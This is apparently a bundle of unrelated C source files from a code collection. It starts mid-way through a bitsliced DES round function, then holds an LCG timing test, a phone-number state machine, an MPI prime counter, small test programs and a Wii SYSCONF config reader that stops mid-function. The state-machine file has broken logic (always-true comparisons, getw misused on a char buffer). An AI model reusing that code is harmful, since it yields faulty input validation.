unsigned long t540 = l8 ^ k20; unsigned long out357; unsigned long out358; unsigned long out359; unsigned long out360; s2(t535,t536,t537,t538,t539,t540, &out357,&out358,&out359,&out360); r12 = r12 ^ out357; r27 = r27 ^ out358; r1 = r1 ^ out359; r17 = r17 ^ out360; unsigned long t541 = l7 ^ k54; unsigned long t542 = l8 ^ k26; unsigned long t543 = l9 ^ k34; unsigned long t544 = l10 ^ k3; unsigned long t545 = l11 ^ k18; unsigned long t546 = l12 ^ k6; unsigned long out361; unsigned long out362; unsigned long out363; unsigned long out364; s3(t541,t542,t543,t544,t545,t546, &out361,&out362,&out363,&out364); r23 = r23 ^ out361; r15 = r15 ^ out362; r29 = r29 ^ out363; r5 = r5 ^ out364; unsigned long t547 = l11 ^ k5; unsigned long t548 = l12 ^ k24; unsigned long t549 = l13 ^ k25; unsigned long t550 = l14 ^ k33; unsigned long t551 = l15 ^ k41; unsigned long t552 = l16 ^ k46; unsigned long out365; unsigned long out366; unsigned long out367; unsigned long out368; s4(t547,t548,t549,t550,t551,t552, &out365,&out366,&out367,&out368); r25 = r25 ^ out365; r19 = r19 ^ out366; r9 = r9 ^ out367; r0 = r0 ^ out368; unsigned long t553 = l15 ^ k35; unsigned long t554 = l16 ^ k2; unsigned long t555 = l17 ^ k51; unsigned long t556 = l18 ^ k7; unsigned long t557 = l19 ^ k22; unsigned long t558 = l20 ^ k23; unsigned long out369; unsigned long out370; unsigned long out371; unsigned long out372; s5(t553,t554,t555,t556,t557,t558, &out369,&out370,&out371,&out372); r7 = r7 ^ out369; r13 = r13 ^ out370; r24 = r24 ^ out371; r2 = r2 ^ out372; unsigned long t559 = l19 ^ k44; unsigned long t560 = l20 ^ k28; unsigned long t561 = l21 ^ k50; unsigned long t562 = l22 ^ k8; unsigned long t563 = l23 ^ k38; unsigned long t564 = l24 ^ k29; unsigned long out373; unsigned long out374; unsigned long out375; unsigned long out376; s6(t559,t560,t561,t562,t563,t564, &out373,&out374,&out375,&out376); r3 = r3 ^ out373; r28 = r28 ^ out374; r10 = r10 ^ out375; r18 = r18 ^ out376; unsigned long t565 = l23 ^ k1; unsigned long t566 = l24 ^ k36; unsigned long t567 = l25 ^ k21; unsigned long t568 = l26 ^ k30; unsigned long t569 = l27 ^ k45; unsigned long t570 = l28 ^ k9; unsigned long out377; unsigned long out378; unsigned long out379; unsigned long out380; s7(t565,t566,t567,t568,t569,t570, &out377,&out378,&out379,&out380); r31 = r31 ^ out377; r11 = r11 ^ out378; r21 = r21 ^ out379; r6 = r6 ^ out380; unsigned long t571 = l27 ^ k15; unsigned long t572 = l28 ^ k42; unsigned long t573 = l29 ^ k43; unsigned long t574 = l30 ^ k0; unsigned long t575 = l31 ^ k37; unsigned long t576 = l0 ^ k31; unsigned long out381; unsigned long out382; unsigned long out383; unsigned long out384; s8(t571,t572,t573,t574,t575,t576, &out381,&out382,&out383,&out384); r4 = r4 ^ out381; r26 = r26 ^ out382; r14 = r14 ^ out383; r20 = r20 ^ out384; unsigned long t577 = r31 ^ k5; unsigned long t578 = r0 ^ k26; unsigned long t579 = r1 ^ k41; unsigned long t580 = r2 ^ k18; unsigned long t581 = r3 ^ k53; unsigned long t582 = r4 ^ k24; unsigned long out385; unsigned long out386; unsigned long out387; unsigned long out388; s1(t577,t578,t579,t580,t581,t582, &out385,&out386,&out387,&out388); l8 = l8 ^ out385; l16 = l16 ^ out386; l22 = l22 ^ out387; l30 = l30 ^ out388; unsigned long t583 = r3 ^ k10; unsigned long t584 = r4 ^ k46; unsigned long t585 = r5 ^ k12; unsigned long t586 = r6 ^ k6; unsigned long t587 = r7 ^ k54; unsigned long t588 = r8 ^ k34; unsigned long out389; unsigned long out390; unsigned long out391; unsigned long out392; s2(t583,t584,t585,t586,t587,t588, &out389,&out390,&out391,&out392); l12 = l12 ^ out389; l27 = l27 ^ out390; l1 = l1 ^ out391; l17 = l17 ^ out392; unsigned long t589 = r7 ^ k11; unsigned long t590 = r8 ^ k40; unsigned long t591 = r9 ^ k48; unsigned long t592 = r10 ^ k17; unsigned long t593 = r11 ^ k32; unsigned long t594 = r12 ^ k20; unsigned long out393; unsigned long out394; unsigned long out395; unsigned long out396; s3(t589,t590,t591,t592,t593,t594, &out393,&out394,&out395,&out396); l23 = l23 ^ out393; l15 = l15 ^ out394; l29 = l29 ^ out395; l5 = l5 ^ out396; unsigned long t595 = r11 ^ k19; unsigned long t596 = r12 ^ k13; unsigned long t597 = r13 ^ k39; unsigned long t598 = r14 ^ k47; unsigned long t599 = r15 ^ k55; unsigned long t600 = r16 ^ k3; unsigned long out397; unsigned long out398; unsigned long out399; unsigned long out400; s4(t595,t596,t597,t598,t599,t600, &out397,&out398,&out399,&out400); l25 = l25 ^ out397; l19 = l19 ^ out398; l9 = l9 ^ out399; l0 = l0 ^ out400; unsigned long t601 = r15 ^ k49; unsigned long t602 = r16 ^ k16; unsigned long t603 = r17 ^ k38; unsigned long t604 = r18 ^ k21; unsigned long t605 = r19 ^ k36; unsigned long t606 = r20 ^ k37; unsigned long out401; unsigned long out402; unsigned long out403; unsigned long out404; s5(t601,t602,t603,t604,t605,t606, &out401,&out402,&out403,&out404); l7 = l7 ^ out401; l13 = l13 ^ out402; l24 = l24 ^ out403; l2 = l2 ^ out404; unsigned long t607 = r19 ^ k31; unsigned long t608 = r20 ^ k42; unsigned long t609 = r21 ^ k9; unsigned long t610 = r22 ^ k22; unsigned long t611 = r23 ^ k52; unsigned long t612 = r24 ^ k43; unsigned long out405; unsigned long out406; unsigned long out407; unsigned long out408; s6(t607,t608,t609,t610,t611,t612, &out405,&out406,&out407,&out408); l3 = l3 ^ out405; l28 = l28 ^ out406; l10 = l10 ^ out407; l18 = l18 ^ out408; unsigned long t613 = r23 ^ k15; unsigned long t614 = r24 ^ k50; unsigned long t615 = r25 ^ k35; unsigned long t616 = r26 ^ k44; unsigned long t617 = r27 ^ k0; unsigned long t618 = r28 ^ k23; unsigned long out409; unsigned long out410; unsigned long out411; unsigned long out412; s7(t613,t614,t615,t616,t617,t618, &out409,&out410,&out411,&out412); l31 = l31 ^ out409; l11 = l11 ^ out410; l21 = l21 ^ out411; l6 = l6 ^ out412; unsigned long t619 = r27 ^ k29; unsigned long t620 = r28 ^ k1; unsigned long t621 = r29 ^ k2; unsigned long t622 = r30 ^ k14; unsigned long t623 = r31 ^ k51; unsigned long t624 = r0 ^ k45; unsigned long out413; unsigned long out414; unsigned long out415; unsigned long out416; s8(t619,t620,t621,t622,t623,t624, &out413,&out414,&out415,&out416); l4 = l4 ^ out413; l26 = l26 ^ out414; l14 = l14 ^ out415; l20 = l20 ^ out416; unsigned long t625 = l31 ^ k19; unsigned long t626 = l0 ^ k40; unsigned long t627 = l1 ^ k55; unsigned long t628 = l2 ^ k32; unsigned long t629 = l3 ^ k10; unsigned long t630 = l4 ^ k13; unsigned long out417; unsigned long out418; unsigned long out419; unsigned long out420; s1(t625,t626,t627,t628,t629,t630, &out417,&out418,&out419,&out420); r8 = r8 ^ out417; r16 = r16 ^ out418; r22 = r22 ^ out419; r30 = r30 ^ out420; unsigned long t631 = l3 ^ k24; unsigned long t632 = l4 ^ k3; unsigned long t633 = l5 ^ k26; unsigned long t634 = l6 ^ k20; unsigned long t635 = l7 ^ k11; unsigned long t636 = l8 ^ k48; unsigned long out421; unsigned long out422; unsigned long out423; unsigned long out424; s2(t631,t632,t633,t634,t635,t636, &out421,&out422,&out423,&out424); r12 = r12 ^ out421; r27 = r27 ^ out422; r1 = r1 ^ out423; r17 = r17 ^ out424; unsigned long t637 = l7 ^ k25; unsigned long t638 = l8 ^ k54; unsigned long t639 = l9 ^ k5; unsigned long t640 = l10 ^ k6; unsigned long t641 = l11 ^ k46; unsigned long t642 = l12 ^ k34; unsigned long out425; unsigned long out426; unsigned long out427; unsigned long out428; s3(t637,t638,t639,t640,t641,t642, &out425,&out426,&out427,&out428); r23 = r23 ^ out425; r15 = r15 ^ out426; r29 = r29 ^ out427; r5 = r5 ^ out428; unsigned long t643 = l11 ^ k33; unsigned long t644 = l12 ^ k27; unsigned long t645 = l13 ^ k53; unsigned long t646 = l14 ^ k4; unsigned long t647 = l15 ^ k12; unsigned long t648 = l16 ^ k17; unsigned long out429; unsigned long out430; unsigned long out431; unsigned long out432; s4(t643,t644,t645,t646,t647,t648, &out429,&out430,&out431,&out432); r25 = r25 ^ out429; r19 = r19 ^ out430; r9 = r9 ^ out431; r0 = r0 ^ out432; unsigned long t649 = l15 ^ k8; unsigned long t650 = l16 ^ k30; unsigned long t651 = l17 ^ k52; unsigned long t652 = l18 ^ k35; unsigned long t653 = l19 ^ k50; unsigned long t654 = l20 ^ k51; unsigned long out433; unsigned long out434; unsigned long out435; unsigned long out436; s5(t649,t650,t651,t652,t653,t654, &out433,&out434,&out435,&out436); r7 = r7 ^ out433; r13 = r13 ^ out434; r24 = r24 ^ out435; r2 = r2 ^ out436; unsigned long t655 = l19 ^ k45; unsigned long t656 = l20 ^ k1; unsigned long t657 = l21 ^ k23; unsigned long t658 = l22 ^ k36; unsigned long t659 = l23 ^ k7; unsigned long t660 = l24 ^ k2; unsigned long out437; unsigned long out438; unsigned long out439; unsigned long out440; s6(t655,t656,t657,t658,t659,t660, &out437,&out438,&out439,&out440); r3 = r3 ^ out437; r28 = r28 ^ out438; r10 = r10 ^ out439; r18 = r18 ^ out440; unsigned long t661 = l23 ^ k29; unsigned long t662 = l24 ^ k9; unsigned long t663 = l25 ^ k49; unsigned long t664 = l26 ^ k31; unsigned long t665 = l27 ^ k14; unsigned long t666 = l28 ^ k37; unsigned long out441; unsigned long out442; unsigned long out443; unsigned long out444; s7(t661,t662,t663,t664,t665,t666, &out441,&out442,&out443,&out444); r31 = r31 ^ out441; r11 = r11 ^ out442; r21 = r21 ^ out443; r6 = r6 ^ out444; unsigned long t667 = l27 ^ k43; unsigned long t668 = l28 ^ k15; unsigned long t669 = l29 ^ k16; unsigned long t670 = l30 ^ k28; unsigned long t671 = l31 ^ k38; unsigned long t672 = l0 ^ k0; unsigned long out445; unsigned long out446; unsigned long out447; unsigned long out448; s8(t667,t668,t669,t670,t671,t672, &out445,&out446,&out447,&out448); r4 = r4 ^ out445; r26 = r26 ^ out446; r14 = r14 ^ out447; r20 = r20 ^ out448; unsigned long t673 = r31 ^ k33; unsigned long t674 = r0 ^ k54; unsigned long t675 = r1 ^ k12; unsigned long t676 = r2 ^ k46; unsigned long t677 = r3 ^ k24; unsigned long t678 = r4 ^ k27; unsigned long out449; unsigned long out450; unsigned long out451; unsigned long out452; s1(t673,t674,t675,t676,t677,t678, &out449,&out450,&out451,&out452); l8 = l8 ^ out449; l16 = l16 ^ out450; l22 = l22 ^ out451; l30 = l30 ^ out452; unsigned long t679 = r3 ^ k13; unsigned long t680 = r4 ^ k17; unsigned long t681 = r5 ^ k40; unsigned long t682 = r6 ^ k34; unsigned long t683 = r7 ^ k25; unsigned long t684 = r8 ^ k5; unsigned long out453; unsigned long out454; unsigned long out455; unsigned long out456; s2(t679,t680,t681,t682,t683,t684, &out453,&out454,&out455,&out456); l12 = l12 ^ out453; l27 = l27 ^ out454; l1 = l1 ^ out455; l17 = l17 ^ out456; unsigned long t685 = r7 ^ k39; unsigned long t686 = r8 ^ k11; unsigned long t687 = r9 ^ k19; unsigned long t688 = r10 ^ k20; unsigned long t689 = r11 ^ k3; unsigned long t690 = r12 ^ k48; unsigned long out457; unsigned long out458; unsigned long out459; unsigned long out460; s3(t685,t686,t687,t688,t689,t690, &out457,&out458,&out459,&out460); l23 = l23 ^ out457; l15 = l15 ^ out458; l29 = l29 ^ out459; l5 = l5 ^ out460; unsigned long t691 = r11 ^ k47; unsigned long t692 = r12 ^ k41; unsigned long t693 = r13 ^ k10; unsigned long t694 = r14 ^ k18; unsigned long t695 = r15 ^ k26; unsigned long t696 = r16 ^ k6; unsigned long out461; unsigned long out462; unsigned long out463; unsigned long out464; s4(t691,t692,t693,t694,t695,t696, &out461,&out462,&out463,&out464); l25 = l25 ^ out461; l19 = l19 ^ out462; l9 = l9 ^ out463; l0 = l0 ^ out464; unsigned long t697 = r15 ^ k22; unsigned long t698 = r16 ^ k44; unsigned long t699 = r17 ^ k7; unsigned long t700 = r18 ^ k49; unsigned long t701 = r19 ^ k9; unsigned long t702 = r20 ^ k38; unsigned long out465; unsigned long out466; unsigned long out467; unsigned long out468; s5(t697,t698,t699,t700,t701,t702, &out465,&out466,&out467,&out468); l7 = l7 ^ out465; l13 = l13 ^ out466; l24 = l24 ^ out467; l2 = l2 ^ out468; unsigned long t703 = r19 ^ k0; unsigned long t704 = r20 ^ k15; unsigned long t705 = r21 ^ k37; unsigned long t706 = r22 ^ k50; unsigned long t707 = r23 ^ k21; unsigned long t708 = r24 ^ k16; unsigned long out469; unsigned long out470; unsigned long out471; unsigned long out472; s6(t703,t704,t705,t706,t707,t708, &out469,&out470,&out471,&out472); l3 = l3 ^ out469; l28 = l28 ^ out470; l10 = l10 ^ out471; l18 = l18 ^ out472; unsigned long t709 = r23 ^ k43; unsigned long t710 = r24 ^ k23; unsigned long t711 = r25 ^ k8; unsigned long t712 = r26 ^ k45; unsigned long t713 = r27 ^ k28; unsigned long t714 = r28 ^ k51; unsigned long out473; unsigned long out474; unsigned long out475; unsigned long out476; s7(t709,t710,t711,t712,t713,t714, &out473,&out474,&out475,&out476); l31 = l31 ^ out473; l11 = l11 ^ out474; l21 = l21 ^ out475; l6 = l6 ^ out476; unsigned long t715 = r27 ^ k2; unsigned long t716 = r28 ^ k29; unsigned long t717 = r29 ^ k30; unsigned long t718 = r30 ^ k42; unsigned long t719 = r31 ^ k52; unsigned long t720 = r0 ^ k14; unsigned long out477; unsigned long out478; unsigned long out479; unsigned long out480; s8(t715,t716,t717,t718,t719,t720, &out477,&out478,&out479,&out480); l4 = l4 ^ out477; l26 = l26 ^ out478; l14 = l14 ^ out479; l20 = l20 ^ out480; unsigned long t721 = l31 ^ k40; unsigned long t722 = l0 ^ k4; unsigned long t723 = l1 ^ k19; unsigned long t724 = l2 ^ k53; unsigned long t725 = l3 ^ k6; unsigned long t726 = l4 ^ k34; unsigned long out481; unsigned long out482; unsigned long out483; unsigned long out484; s1(t721,t722,t723,t724,t725,t726, &out481,&out482,&out483,&out484); r8 = r8 ^ out481; r16 = r16 ^ out482; r22 = r22 ^ out483; r30 = r30 ^ out484; unsigned long t727 = l3 ^ k20; unsigned long t728 = l4 ^ k24; unsigned long t729 = l5 ^ k47; unsigned long t730 = l6 ^ k41; unsigned long t731 = l7 ^ k32; unsigned long t732 = l8 ^ k12; unsigned long out485; unsigned long out486; unsigned long out487; unsigned long out488; s2(t727,t728,t729,t730,t731,t732, &out485,&out486,&out487,&out488); r12 = r12 ^ out485; r27 = r27 ^ out486; r1 = r1 ^ out487; r17 = r17 ^ out488; unsigned long t733 = l7 ^ k46; unsigned long t734 = l8 ^ k18; unsigned long t735 = l9 ^ k26; unsigned long t736 = l10 ^ k27; unsigned long t737 = l11 ^ k10; unsigned long t738 = l12 ^ k55; unsigned long out489; unsigned long out490; unsigned long out491; unsigned long out492; s3(t733,t734,t735,t736,t737,t738, &out489,&out490,&out491,&out492); r23 = r23 ^ out489; r15 = r15 ^ out490; r29 = r29 ^ out491; r5 = r5 ^ out492; unsigned long t739 = l11 ^ k54; unsigned long t740 = l12 ^ k48; unsigned long t741 = l13 ^ k17; unsigned long t742 = l14 ^ k25; unsigned long t743 = l15 ^ k33; unsigned long t744 = l16 ^ k13; unsigned long out493; unsigned long out494; unsigned long out495; unsigned long out496; s4(t739,t740,t741,t742,t743,t744, &out493,&out494,&out495,&out496); r25 = r25 ^ out493; r19 = r19 ^ out494; r9 = r9 ^ out495; r0 = r0 ^ out496; unsigned long t745 = l15 ^ k29; unsigned long t746 = l16 ^ k51; unsigned long t747 = l17 ^ k14; unsigned long t748 = l18 ^ k1; unsigned long t749 = l19 ^ k16; unsigned long t750 = l20 ^ k45; unsigned long out497; unsigned long out498; unsigned long out499; unsigned long out500; s5(t745,t746,t747,t748,t749,t750, &out497,&out498,&out499,&out500); r7 = r7 ^ out497; r13 = r13 ^ out498; r24 = r24 ^ out499; r2 = r2 ^ out500; unsigned long t751 = l19 ^ k7; unsigned long t752 = l20 ^ k22; unsigned long t753 = l21 ^ k44; unsigned long t754 = l22 ^ k2; unsigned long t755 = l23 ^ k28; unsigned long t756 = l24 ^ k23; unsigned long out501; unsigned long out502; unsigned long out503; unsigned long out504; s6(t751,t752,t753,t754,t755,t756, &out501,&out502,&out503,&out504); r3 = r3 ^ out501; r28 = r28 ^ out502; r10 = r10 ^ out503; r18 = r18 ^ out504; unsigned long t757 = l23 ^ k50; unsigned long t758 = l24 ^ k30; unsigned long t759 = l25 ^ k15; unsigned long t760 = l26 ^ k52; unsigned long t761 = l27 ^ k35; unsigned long t762 = l28 ^ k31; unsigned long out505; unsigned long out506; unsigned long out507; unsigned long out508; s7(t757,t758,t759,t760,t761,t762, &out505,&out506,&out507,&out508); r31 = r31 ^ out505; r11 = r11 ^ out506; r21 = r21 ^ out507; r6 = r6 ^ out508; unsigned long t763 = l27 ^ k9; unsigned long t764 = l28 ^ k36; unsigned long t765 = l29 ^ k37; unsigned long t766 = l30 ^ k49; unsigned long t767 = l31 ^ k0; unsigned long t768 = l0 ^ k21; unsigned long out509; unsigned long out510; unsigned long out511; unsigned long out512; s8(t763,t764,t765,t766,t767,t768, &out509,&out510,&out511,&out512); r4 = r4 ^ out509; r26 = r26 ^ out510; r14 = r14 ^ out511; r20 = r20 ^ out512; c[5] = l8; c[3] = l16; c[51] = l22; c[49] = l30; c[37] = l12; c[25] = l27; c[15] = l1; c[11] = l17; c[59] = l23; c[61] = l15; c[41] = l29; c[47] = l5; c[9] = l25; c[27] = l19; c[13] = l9; c[7] = l0; c[63] = l7; c[45] = l13; c[1] = l24; c[23] = l2; c[31] = l3; c[33] = l28; c[21] = l10; c[19] = l18; c[57] = l31; c[29] = l11; c[43] = l21; c[55] = l6; c[39] = l4; c[17] = l26; c[53] = l14; c[35] = l20; c[4] = r8; c[2] = r16; c[50] = r22; c[48] = r30; c[36] = r12; c[24] = r27; c[14] = r1; c[10] = r17; c[58] = r23; c[60] = r15; c[40] = r29; c[46] = r5; c[8] = r25; c[26] = r19; c[12] = r9; c[6] = r0; c[62] = r7; c[44] = r13; c[0] = r24; c[22] = r2; c[30] = r3; c[32] = r28; c[20] = r10; c[18] = r18; c[56] = r31; c[28] = r11; c[42] = r21; c[54] = r6; c[38] = r4; c[16] = r26; c[52] = r14; c[34] = r20; }
the_stack_data/463017.c
#include <stdio.h> #include <time.h> int main(){ //X=(A*X+C)%M long x=0,a=214013,c=2531011,m=0x80000000-1,j=0; clock_t t=clock(); x=c; while(x!=0){x=(a*x+c)%m;j++;} printf("%lf[s]:%ld[1]\n",(double)(clock()-t)/CLOCKS_PER_SEC,j); return 0; }
the_stack_data/45450521.c
#include<stdio.h> #include<string.h> int main() { enum states {q0,q1,q2,qf}; char input[10]; enum states curr_state = q0; int i = 0; int flag = 0; printf("Enter a cell number "); getw(input); char ch= input[i]; while (ch != '\0') { switch(curr_state) { case q0: if(ch=='9') curr_state=q1; else flag =1; break; case q1: if(ch=='8'||'7'||'6') curr_state=q2; else flag=1; break; case q2: if(ch=='0'||'1'||'2'||'3'||'4'||'5'||'6'||'7'||'8'||'9') curr_state=qf; else flag=1; break; case qf: if (ch=='0') curr_state=qf; else curr_state=qf; break; } if(flag) break; ch=input[++i]; } if (curr_state==qf) printf("accepted"); else printf("Not accepted"); return 0; }
the_stack_data/588877.c
#define AMBIQ_MICRO 1 #ifndef AMBIQ_MICRO # include <math.h> # include <mpi.h> # include <stdio.h> # include <stdlib.h> # include <time.h> int main ( int argc, char *argv[] ); int prime_number ( int n, int id, int p ); void timestamp ( ); /******************************************************************************/ int main ( int argc, char *argv[] ) /******************************************************************************/ /* Purpose: MAIN is the main program for PRIME_MPI. Discussion: This program calls a version of PRIME_NUMBER that includes MPI calls for parallel processing. Licensing: This code is distributed under the GNU LGPL license. Modified: 07 August 2009 Author: John Burkardt */ { int i; int id; int ierr; int n; int n_factor; int n_hi; int n_lo; int p; int primes; int primes_part; double wtime; n_lo = 1; n_hi = 262144; n_factor = 2; /* Initialize MPI. */ ierr = MPI_Init ( &argc, &argv ); /* Get the number of processes. */ ierr = MPI_Comm_size ( MPI_COMM_WORLD, &p ); /* Determine this processes's rank. */ ierr = MPI_Comm_rank ( MPI_COMM_WORLD, &id ); if ( id == 0 ) { timestamp ( ); printf ( "\n" ); printf ( "PRIME_MPI\n" ); printf ( " C/MPI version\n" ); printf ( "\n" ); printf ( " An MPI example program to count the number of primes.\n" ); printf ( " The number of processes is %d\n", p ); printf ( "\n" ); printf ( " N Pi Time\n" ); printf ( "\n" ); } n = n_lo; while ( n <= n_hi ) { if ( id == 0 ) { wtime = MPI_Wtime ( ); } ierr = MPI_Bcast ( &n, 1, MPI_INT, 0, MPI_COMM_WORLD ); primes_part = prime_number ( n, id, p ); ierr = MPI_Reduce ( &primes_part, &primes, 1, MPI_INT, MPI_SUM, 0, MPI_COMM_WORLD ); if ( id == 0 ) { wtime = MPI_Wtime ( ) - wtime; printf ( " %8d %8d %14f\n", n, primes, wtime ); } n = n * n_factor; } /* Terminate MPI. */ ierr = MPI_Finalize ( ); /* Terminate. */ if ( id == 0 ) { printf ( "\n"); printf ( "PRIME_MPI - Master process:\n"); printf ( " Normal end of execution.\n"); printf ( "\n" ); timestamp ( ); } return 0; } #endif // !AMBIQ_MICRO /******************************************************************************/ int prime_number ( int n, int id, int p ) /******************************************************************************/ /* Purpose: PRIME_NUMBER returns the number of primes between 1 and N. Discussion: In order to divide the work up evenly among P processors, processor ID starts at 2+ID and skips by P. A naive algorithm is used. Mathematica can return the number of primes less than or equal to N by the command PrimePi[N]. N PRIME_NUMBER 1 0 10 4 100 25 1,000 168 10,000 1,229 100,000 9,592 1,000,000 78,498 10,000,000 664,579 100,000,000 5,761,455 1,000,000,000 50,847,534 Licensing: This code is distributed under the GNU LGPL license. Modified: 21 May 2009 Author: John Burkardt Parameters: Input, int N, the maximum number to check. Input, int ID, the ID of this process, between 0 and P-1. Input, int P, the number of processes. Output, int PRIME_NUMBER, the number of prime numbers up to N. */ { int i; int j; int prime; int total; total = 0; for ( i = 2 + id; i <= n; i = i + p ) { prime = 1; for ( j = 2; j < i; j++ ) { if ( ( i % j ) == 0 ) { prime = 0; break; } } total = total + prime; } return total; } #ifndef AMBIQ_MICRO /******************************************************************************/ void timestamp ( void ) /******************************************************************************/ /* Purpose: TIMESTAMP prints the current YMDHMS date as a time stamp. Example: 31 May 2001 09:45:54 AM Licensing: This code is distributed under the GNU LGPL license. Modified: 24 September 2003 Author: John Burkardt Parameters: None */ { # define TIME_SIZE 40 static char time_buffer[TIME_SIZE]; const struct tm *tm; size_t len; time_t now; now = time ( NULL ); tm = localtime ( &now ); len = strftime ( time_buffer, TIME_SIZE, "%d %B %Y %I:%M:%S %p", tm ); printf ( "%s\n", time_buffer ); return; # undef TIME_SIZE } #endif // !AMBIQ_MICRO
the_stack_data/237642522.c
#include <stdint.h> #include <stdio.h> void main() { char a; }
the_stack_data/175142525.c
#include <stdio.h> extern int __attribute__ ((weak)) fun (void); int main (void) { if (&fun != 0) fun (); else printf ("Weak undefined\n"); return 0; }
the_stack_data/1139206.c
/*------------------------------------------------------------- conf.c -- SYSCONF support Copyright (C) 2008 Hector Martin (marcan) This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. -------------------------------------------------------------*/ #if defined(HW_RVL) #include <stdio.h> #include <string.h> #include <malloc.h> #include "ipc.h" #include "asm.h" #include "processor.h" #include "conf.h" static int __conf_inited = 0; static u8 __conf_buffer[0x4000] ATTRIBUTE_ALIGN(32); static char __conf_txt_buffer[0x101] ATTRIBUTE_ALIGN(32); static const char __conf_file[] ATTRIBUTE_ALIGN(32) = "/shared2/sys/SYSCONF"; static const char __conf_txt_file[] ATTRIBUTE_ALIGN(32) = "/title/00000001/00000002/data/setting.txt"; void __CONF_DecryptTextBuffer(void) { u32 key = 0x73B5DBFA; int i; for(i=0; i<0x100; i++) { __conf_txt_buffer[i] ^= key & 0xff; key = (key<<1) | (key>>31); } } s32 CONF_Init(void) { int fd; int ret; if(__conf_inited) return 0; fd = IOS_Open(__conf_file,1); if(fd < 0) return fd; memset(__conf_buffer,0,0x4000); memset(__conf_txt_buffer,0,0x101); ret = IOS_Read(fd, __conf_buffer, 0x4000); IOS_Close(fd); if(ret != 0x4000) return CONF_EBADFILE; fd = IOS_Open(__conf_txt_file,1); if(fd < 0) return fd; ret = IOS_Read(fd, __conf_txt_buffer, 0x100); IOS_Close(fd); if(ret != 0x100) return CONF_EBADFILE; if(memcmp(__conf_buffer, "SCv0", 4)) return CONF_EBADFILE; __CONF_DecryptTextBuffer(); __conf_inited = 1; return 0; } int __CONF_GetTxt(const char *name, char *buf, int length) { char *line = __conf_txt_buffer; char *delim, *end; int slen; int nlen = strlen(name); if(!__conf_inited) return CONF_ENOTINIT; while(line < (__conf_txt_buffer+0x100) ) { delim = strchr(line, '='); if(delim && ((delim - line) == nlen) && !memcmp(name, line, nlen)) { delim++; end = strchr(line, '\r'); if (!end) end = strchr(line, '\n'); if(end) { slen = end - delim; if(slen < length) { memcpy(buf, delim, slen); buf[slen] = 0; return slen; } else { return CONF_ETOOBIG; } } } // skip to line end while(line < (__conf_txt_buffer+0x100) && *line++ != '\n'); } return CONF_ENOENT; } u8 *__CONF_Find(const char *name) { u16 count; u16 *offset; int nlen = strlen(name); count = *((u16*)(&__conf_buffer[4])); offset = (u16*)&__conf_buffer[6]; while(count--) { if((nlen == ((__conf_buffer[*offset]&0x0F)+1)) && !memcmp(name, &__conf_buffer[*offset+1], nlen)) return &__conf_buffer[*offset]; offset++; } return NULL; } s32 CONF_GetLength(const char *name) { u8 *entry; if(!__conf_inited) return CONF_ENOTINIT; entry = __CONF_Find(name); if(!entry) return CONF_ENOENT; switch(*entry>>5) { case 1: return *((u16*)&entry[strlen(name)+1]) + 1; case 2: return entry[strlen(name)+1] + 1; case 3: return 1; case 4: return 2; case 5: return 4; case 7: return 1; default: return CONF_ENOTIMPL; } } s32 CONF_GetType(const char *name) { u8 *entry; if(!__conf_inited) return CONF_ENOTINIT; entry = __CONF_Find(name); if(!entry) return CONF_ENOENT; return *entry>>5; } s32 CONF_Get(const char *name, void *buffer, u32 length) { u8 *entry; s32 len; if(!__conf_inited) return CONF_ENOTINIT; entry = __CONF_Find(name); if(!entry) return CONF_ENOENT; len = CONF_GetLength(name); if(len<0) return len; if(len>length) return CONF_ETOOBIG; switch(*entry>>5) { case CONF_BIGARRAY: memcpy(buffer, &entry[strlen(name)+3], len); break; case CONF_SMALLARRAY: memcpy(buffer, &entry[strlen(name)+2], len); break; case CONF_BYTE: case CONF_SHORT: case CONF_LONG: case CONF_BOOL: memset(buffer, 0, length); memcpy(buffer, &entry[strlen(name)+1], len); break; default: return CONF_ENOTIMPL; } return len; } s32 CONF_GetShutdownMode(void) { u8 idleconf[2] = {0,0}; int res; res = CONF_Get("IPL.IDL", idleconf, 2); if(res<0) return res; if(res!=2) return CONF_EBADVALUE; return idleconf[0]; } s32 CONF_GetIdleLedMode(void) { int res; u8 idleconf[2] = {0,0}; res = CONF_Get("IPL.IDL", idleconf, 2); if(res<0) return res; if(res!=2) return CONF_EBADVALUE; return idleconf[1]; } s32 CONF_GetProgressiveScan(void) { int res; u8 val = 0; res = CONF_Get("IPL.PGS", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetEuRGB60(void) { int res; u8 val = 0; res = CONF_Get("IPL.E60", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetIRSensitivity(void) { int res; u32 val = 0; res = CONF_Get("BT.SENS", &val, 4); if(res<0) return res; if(res!=4) return CONF_EBADVALUE; return val; } s32 CONF_GetSensorBarPosition(void) { int res; u8 val = 0; res = CONF_Get("BT.BAR", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetPadSpeakerVolume(void) { int res; u8 val = 0; res = CONF_Get("BT.SPKV", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetPadMotorMode(void) { int res; u8 val = 0; res = CONF_Get("BT.MOT", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetSoundMode(void) { int res; u8 val = 0; res = CONF_Get("IPL.SND", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetLanguage(void) { int res; u8 val = 0; res = CONF_Get("IPL.LNG", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetCounterBias(u32 *bias) { int res; res = CONF_Get("IPL.CB", bias, 4); if(res<0) return res; if(res!=4) return CONF_EBADVALUE; return CONF_ERR_OK; } s32 CONF_GetScreenSaverMode(void) { int res; u8 val = 0; res = CONF_Get("IPL.SSV", &val, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetDisplayOffsetH(s8 *offset) { int res; res = CONF_Get("IPL.DH", offset, 1); if(res<0) return res; if(res!=1) return CONF_EBADVALUE; return 0; } s32 CONF_GetPadDevices(conf_pads *pads) { int res; res = 